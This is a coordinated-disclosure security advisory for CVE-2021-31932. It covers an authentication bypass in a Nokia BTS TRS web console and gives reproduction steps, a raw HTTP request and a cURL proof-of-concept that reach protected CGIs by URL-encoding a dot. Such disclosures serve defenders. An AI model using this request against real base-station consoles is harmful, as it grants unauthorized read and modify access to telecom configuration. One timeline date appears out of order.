Nokia Transport Module Authentication Bypass

Authored by Cristiano Maruti

Posted Feb 11, 2022

The TRS web console allows an authenticated user to remotely manage the BTS and its configuration. Analysis discovered an authentication bypass vulnerability in the web management console. BTS TRS web console version FTM_W20_FP2_2019.08.16_0010 is affected.

tags | exploit, web, bypass
advisories | CVE-2021-31932
SHA-256 | 0f05d6d716250f586c5ca2543716a3b108e48fdb98ec32ec187a2d7388c7a043 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
  title: Nokia Transport Module Authentication Bypass
               case id: CM-2020-02
               product: BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)
    vulnerability type: Authentication Bypass
              severity: Critical
                 found: 2020-09-28
   CVE: CVE-2021-31932
                    by: Cristiano Maruti (@cmaruti)

[EXECUTIVE SUMMARY]

 The TRS web console allows an authenticated user to remotely manage the BTS
 and its configuration. The analysis discovered an authentication bypass
 vulnerability (CWE-289) in the web management console. A malicious
 unauthenticated user can get access to all the functionalities exposed via
 the web panel circumventing the authentication process. The vulnerability
 lies in the way the web server in use (lighttpd) protects restricted
 resources and how special characters are encoded and pass to the underline
 CGIs. A successful attack can read data from the BTS and read, modify or
 delete BTS configuration.

[VULNERABLE VERSIONS]

 The following version of the TRS web console was affected by the
 vulnerability; previous versions may be vulnerable as well:
 - BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)

[TECHNICAL DETAILS]

It is possible to reproduce the vulnerability following these steps:
1. Open a web browser and insert the BTS TRS web console IP
2. Navigate to a protected resource (for example
/protected/ShowErrorLog.cgi)
3. Subsitute the dot character with the corresponding URL encoded value
(%2e)
4. Resulting URL
(/protected/ShowErrorLog%2ecgi?token=thisIsNotTheRightToken)
   give access without prompt for any authentication credential

Below a full transcript of the HTTP request used to get access to a
protected
resource.

HTTP Request
--------------------------------------------------------------------------------
GET /protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken HTTP/1.1
Host: <targetip>
User-Agent: curl/7.67.0
Accept: */*

--------------------------------------------------------------------------------
cURL PoC
--------------------------------------------------------------------------------
# curl -vk https://<targetip>/protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken&frame=showLogFile


[VULNERABILITY REFERENCE]
Mitre assigned the following CVE ID to the vulnerability: CVE-2021-31932

[DISCLOSURE TIMELINE]
2020-10-06: Contacting Nokia PSIRT and shared the details of the
vulnerability
2020-10-07: Nokia PSIRT acknowledge the receipt of the message.
2021-10-12: Vendor engineering team confirmed the vulnerability and working
on patch (estimated time end of 2020).
2021-04-30: Research requested a CVE assignment through MITRE CVE
Assignment Team; allocated CVE-2021-31932
2021-05-01: Researcher notified the assigned CVE number to the Vendor
2022-02-08: Researcher asked for permission to publicly release the report
to the public; Nokia PSIRT acknowledged
2022-02-10: Public release


--

Cristiano Maruti
about.me/cmaruti
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed